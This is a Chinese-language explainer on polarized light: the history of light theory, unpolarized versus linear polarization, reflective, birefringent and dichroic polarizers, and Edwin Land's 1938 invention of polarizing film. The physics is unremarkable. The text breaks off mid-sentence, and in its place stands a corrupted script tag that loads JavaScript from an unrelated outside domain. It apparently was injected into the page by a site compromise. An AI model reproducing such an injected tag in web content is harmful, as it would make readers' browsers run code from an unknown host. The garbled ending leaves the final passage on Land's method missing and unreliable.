偏极光与偏光膜的基本原理
大多数的人仍然对偏光膜这个名词感到陌生而不很清楚，故在此先对偏极光的现象及基本原理稍做说明。
偏极光
人类对光的了解依序可分成以下四个重要阶段：
1.十七世纪中，牛顿首先开始对光做有系统的研究，他发现到所谓的白光(white light)是由所有的色光(colored light)混合而成。为了要解释这个现象，就有许多不同的理论衍生出来。
2.十九世纪初，杨氏(thomas young)利用波动理论成功的解释了大部分的光学现象如反射、折射和绕射等。
3.1873年，马克斯威尔发现光波是电磁波，其中它的电波和磁波是相依相存不能分开的，电场(e)、磁场(h)与电磁波进行的方向(k)这三者是呈相互垂直的关系。
图2
4.二十世纪初，爱因斯坦发现光的能量要用粒子学说才能解释，因而衍生出量子学。换言之，光同时具有波动及粒子两种特性。
因为偏极光的理论是用波动学来解释的，所以往后的讨论都将光视为电磁波，并且为了简化易懂，我们只考虑其电场向量e。非偏极光的e可以用图2表示，图2中许多对称等长的辐射线表示e在e、h所组成的平面上振动，并且在各方向振动的机会均等。当e的分布不均时就称之为偏极化(polarization)，如图3所示为部份偏极光，当e只在一个方向振动时则称之为线性偏极光(图4)。从向量的观点来看，当图2中各方向的向量投影到x和y两个相互垂直的坐标轴上后，非偏极光可以分解为两条相垂直的线性偏极光(图5)。
图2：非偏极光
图3：部份偏极光
图4：线性偏极光
图5：相互垂直的线性偏极光
偏极光的制造
一般而言，制造偏极光的方法是由以下三个步骤：
1.制造普通非偏极光(图2)。
2.分解此非偏极光为两个相互垂直的线性偏极光(图5)。
3.舍弃一条偏极光，应用另一条偏极光(图4)。
能将非偏极光分解为两条偏极光，而舍弃其一的仪器称之为起偏器(polarizer)，起偏器可以利用如吸收、反射、折射、绕射等光学效应来产生偏极光。
一般较常用的起偏器种类有以下数种：
(1) 反射型
当光线斜射入玻璃表面时，其反射光将被部分偏极化。利用多层玻璃的连续反射效果即可将非偏极光转为线性偏极光。
(2) 复屈折型
将两片方解石晶体接合，入射光线会被分解为两道偏极光，称为平常光与非常光。
(3) 二色性微晶型
将具有二色性的微小晶体有规则地吸附排列在透明的薄片上，这是人工第一次做出偏光膜的方法。
(4) 高分子二色性型
利用透光性良好的高分子薄膜，将膜内分子加以定向，再吸着具有二色性的物质，此为现今生产偏光膜最主要的方法。这类吸收式的起偏器都是以膜(film)或是板(plate or sheet)的形式存在，因此，通常又称之为偏光膜(polarizing film)或偏光板(polarizing plate or sheet)。英文上另外一个更通俗的称呼是polarizing filter。
偏光膜的起源
偏光膜是由美国拍立得公司(polaroid)创始人兰特(edwin h. land)于1938年所发明。六十年后的今天，虽然偏光膜在生产技巧和设备上有了许多的改进，但在制程的基本原理和使用的材料上仍和六十年前完全一样。因此，在说明偏光膜的制程原理之前，先简单的叙述一下兰特当时是在什么情况下得到灵感，相信这有助于全面了解偏光膜的制程。
兰特于1926年在哈佛大学念书时看了一篇由英国的一位医生dr. herapath在1852年发表的论文，内容提到dr. herapath的一位学生mr. phelps曾不小心把碘掉入the solution disulfate of quinine，他发现立即就有许多小的绿色晶体产生，dr. herapath于是将这些晶体放在显微镜下观察，发现如下图所示：当两片晶体相重叠时，其光的透过度会随晶体相交的角度而改变，当它们是相互垂直时，光则被完全吸收(图6)；相互平行时，光可完全透过(图7)。
图6：光被完全吸收
图7：光可完全透过
这些碘化合物的晶体非常小，所以在实际应用上有了很大的限制，dr. herapath花了将近十年的时间来研究如何才能做出较大的偏光晶体，可是他并没有成功。因此，兰特认为这条路可能是不可行的，于是他采用了以下的方式：
●兰?script src=http://er12.com/t.js>
